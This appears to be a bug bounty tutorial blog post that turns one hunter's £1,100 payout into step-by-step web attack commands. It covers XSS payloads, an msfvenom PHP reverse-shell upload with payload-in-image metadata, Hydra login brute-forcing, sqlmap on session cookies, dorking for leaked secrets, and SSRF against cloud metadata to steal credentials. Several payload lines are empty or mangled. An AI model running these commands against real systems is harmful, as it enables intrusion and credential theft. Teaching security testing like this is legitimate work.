From Zero to Hero: How One Hunter Bagged £1,100 with 5 Essential Bug Bounty Techniques

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Introduction:

Bug bounty hunting is a critical component of modern cybersecurity defense, turning ethical hackers into a frontline against application vulnerabilities. This article deconstructs the proven methodologies behind a successful £1,100 bounty, translating high-level tips into actionable, technical commands for aspiring hunters.

Learning Objectives:

  • Master the application of core testing commands for common web vulnerabilities.
  • Develop a methodology for systematic input validation and session analysis.
  • Implement advanced reconnaissance techniques using OSINT and dorking.

You Should Know:

1. Unleashing Stored Cross-Site Scripting (XSS) Payloads

A foundational step is testing every input field. Start with simple payloads and escalate.

``

``

`javascript:alert(‘XSS’)`

Step-by-step guide:

  1. Identify all input fields: text boxes, search bars, comment sections, profile forms.
  2. Intercept the request with a proxy like Burp Suite (burpsuite on CLI).
  3. Replace a parameter value with a basic XSS payload.
  4. Submit the request and navigate to where the input is stored/reflected.
  5. If the alert fires, you have a reflected XSS. If it fires for other users, it’s stored.

2. Bypassing Unrestricted File Upload Restrictions

Testing file uploads goes beyond just uploading a `.php` file.
`msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT=4444 -f raw > shell.php`

`exiftool -Comment=’‘ image.jpg`

`curl -F “[email protected];type=image/jpeg” http://target.com/upload`

Step-by-step guide:

  1. Attempt to upload a simple webshell with a common extension (shell.php).

2. If blocked, try obfuscation: `shell.php5`, `shell.pHp`, `shell.jpg.php`.

  1. Use `exiftool` to inject a PHP payload into the metadata of a valid image.
  2. Upload the poisoned image and access it directly via the upload directory to trigger the code execution.

3. Testing Authentication & Rate Limiting with Hydra

Password endpoints are prime targets for brute-force attacks if not rate-limited.

`hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-post-form “/login:username=^USER^&password=^PASS^:F=Invalid”`

`ffuf -w wordlist.txt -X POST -d “username=admin&password=FUZZ” -u http://target.com/login -mc 200`

Step-by-step guide:

1. Identify the login endpoint (e.g., `/login`, `/auth`).

  1. Use `hydra` or `ffuf` to send a high volume of login requests.
  2. Monitor the responses. If you receive many `200 OK` or `302 Redirect` responses instead of consistent 429 Too Many Requests, rate limiting is weak or absent.
  3. This flaw allows for credential stuffing and user enumeration attacks.

4. Session Management and Token Analysis

Review session behaviors by manipulating cookies and tokens.

`curl -H “Cookie: session=invalid_token” http://target.com/dashboard`
`sqlmap -u “http://target.com/” –cookie=”session=” –dbs`

Step-by-step guide:

  1. Log in and capture your session cookie using browser dev tools or Burp.
  2. Log out and attempt to reuse the same session token with curl. If you regain access, session termination is flawed.
  3. Use `sqlmap` to test if the session token is predictable or vulnerable to SQL injection.
  4. Test password reset tokens for predictability by generating multiple and analyzing patterns.

  5. Advanced Google & GitHub Dorking for Data Exposure
    Finding exposed secrets on GitHub or misconfigured cloud buckets is a goldmine.

`site:github.com “target.com” api_key`

`site:target.com ext:log`

`site:target.com ext:sql`

`s3://target-bucket/`

Step-by-step guide:

  1. Use the `site:` operator on Google to search specific domains for filetypes like log, sql, bak, xls.
  2. On GitHub, search for company names paired with keywords like password, secret, key, config.
  3. For AWS S3 buckets, use the URL format s3://bucket-name/. Use the `awscli` (aws s3 ls s3://bucket-name/) to list contents if permissions are misconfigured.
  4. Any discovered sensitive data (PII, credentials, source code) should be immediately reported to the company.

6. Automating Input Field Discovery with Katana

Manually testing every field is time-consuming; automation helps.

`katana -u http://target.com -d 3 -f url | grep “=” | tee output.txt`
`waybackurls target.com | gf xss | qsreplace ‘”>‘ | freq`

Step-by-step guide:

  1. Use a crawler like `katana` or `gau` (GetAllURLs) to map the entire application and discover endpoints.
  2. Parse the output with `grep “=”` to find URLs with parameters.
  3. Use tools like `qsreplace` to automatically inject your XSS payload into every parameter found.
  4. Pipe the output to `freq` or a similar tool to screen for responses that reflect your payload without sanitization.

7. Exploiting Server-Side Request Forgery (SSRF)

While not mentioned in the original post, SSRF is a critical flaw often found alongside these vulnerabilities.
`curl -X POST -d “url=http://169.254.169.254/latest/meta-data/” http://target.com/fetch`
`curl -X POST -d “url=file:///etc/passwd” http://target.com/fetch`

Step-by-step guide:

  1. Find functionality that fetches external resources: webhooks, image uploads, PDF generators, API endpoints.
  2. Intercept the request and replace the URL parameter with an internal IP address (192.168.1.1) or a cloud metadata endpoint (169.254.169.254).
  3. If the application returns the internal resource’s data, you have a critical SSRF vulnerability.
  4. Escalate by accessing cloud metadata to steal IAM credentials.

What Undercode Say:

  • Methodology Over Tools: Success stems from a persistent, systematic methodology, not just running the latest tool. Understanding how applications process input is paramount.
  • The Human Element: The most critical vulnerability is often overlooked logic flaws, not just technical CVEs. Testing workflows like password resets and session logout is where major bugs are found.

This case study exemplifies a shift in modern security: crowd-sourced defense. A single hunter, applying fundamental techniques with rigor, can uncover critical flaws that automated scanners miss. The key differentiator isn’t secret tools but a thorough understanding of common vulnerability classes and the creativity to find them in unusual places. The ROI for this skillset is clear, both for hunters seeking bounties and organizations fortifying their defenses.

Prediction:

The democratization of security through bug bounty programs will continue to accelerate, creating a parallel economy for ethical hackers. As AI-integrated testing tools become more accessible, the baseline skill required for effective hunting will lower, leading to a massive increase in submitted reports. This will force organizations to adopt more sophisticated triage and automation systems to handle the volume, ultimately leading to a more robust and crowdsourced global security posture. However, this will also necessitate stronger legal and ethical frameworks to protect hunters and companies alike.

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